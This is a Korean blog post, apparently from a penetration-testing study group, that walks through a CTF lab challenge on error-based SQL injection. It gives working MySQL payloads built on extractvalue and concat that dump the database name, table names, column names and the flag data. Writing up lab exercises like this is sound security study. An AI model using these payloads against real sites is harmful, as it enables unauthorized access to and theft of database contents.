모의해킹 스터디 CTF 문제 - Error Based SQLi Basic

2024. 12. 4. 06:22·모의해킹/모의해킹 스터디

이번 문제는 Error Based SQL Injection에 대한 기초적인 문제이다.

Error Based SQLi Basic
Error Based SQLi Basic 메인화면


1. SQL Injection Point

우선 'normaltic'으로 검색해본다.

'normaltic'으로 검색

검색이 성공적으로 되는 것을 알 수 있다.

 

그 다음 SQL Injection이 가능한지 "normaltic' and '1' = '1" 를 실행해 보면

SQL Injection 성공

정상적으로 출력되는것으로 보아 해당 사이트는 SQL Injection이 가능하다는걸 알 수 있다.

 

SQL Injection중 어떤 방안을 접근할 지 알아보기 위해 "normaltic'"를 실행해 보면

Error Based SQLi 가능

SQL 관련 에러가 직접적으로 출력이 된다. 이는 Error Based SQL Injection을 사용하면 될 것 같다.

 

2. 에러를 출력 함수 선택

에러를 직접 추출하기 위해 'extractvalue' 함수를 사용해주겠다.

 

3. 공격 format 만들기

공격 format은 위의 정보를 바탕으로

normaltic' and extractvalue( '1', concat(0x3a, (__SQL__))) and '1' = '1

해당 구문으로 만들어 주었다.

 

4. DB명 출력

DB명 출력 구문은

normaltic' and extractvalue( '1', concat(0x3a, (select database()))) and '1' = '1

이렇게 작성하였고 출력해보면

위 처럼 DB명이 출력되는것을 알 수 있다.

 

5. Table명 출력

Table명 출력 구문은

normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema='DB명'))) and '1' = '1

이렇게 작성하였고 이를 출력하면

Table명 출력

총 3개의 테이블이 출력되는 것을 볼 수 있다.

 

6. Column 명 출력

위에 테이블 중 'flag'와 관련된 데이블에 대한 Column명 출력 구문은

normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name='테이블명'))) and '1' = '1

이렇게 작성하였고 이를 출력해보면

column명 출력

총 2개의 컬럼이 출력되는 것을 알 수 있다.

 

7. DATA 출력

"flag"와 관련한 컬럼에 대한 DATA 출력 구문은

normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(컬럼명) from 테이블명))) and '1' = '1

이렇게 작성하였고 이를 출력해보면

Data 출력

플래그 값을 확인할 수 있다.

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - SQL Injection 3  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)  (0) 2024.12.04
모의해킹 스터디 7주차 정리  (0) 2024.12.02
모의해킹 스터디 CTF 문제 - SQL Injection 2  (0) 2024.11.27
모의해킹 스터디 CTF 문제 - SQL Injection 1  (0) 2024.11.26
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - SQL Injection 3
  • 모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)
  • 모의해킹 스터디 7주차 정리
  • 모의해킹 스터디 CTF 문제 - SQL Injection 2
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    Chrome
    웹해킹
    NAT
    모의해킹스터디
    WEB
    hash
    php
    오블완
    mysql
    티스토리챌린지
    메서드
    burpsuite
    HttpResponse
    SQL
    httprequest
    상태코드
    HTTP
    Network
    HTML
    웹개발
    sqlinjection
    javascript
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic
상단으로

티스토리툴바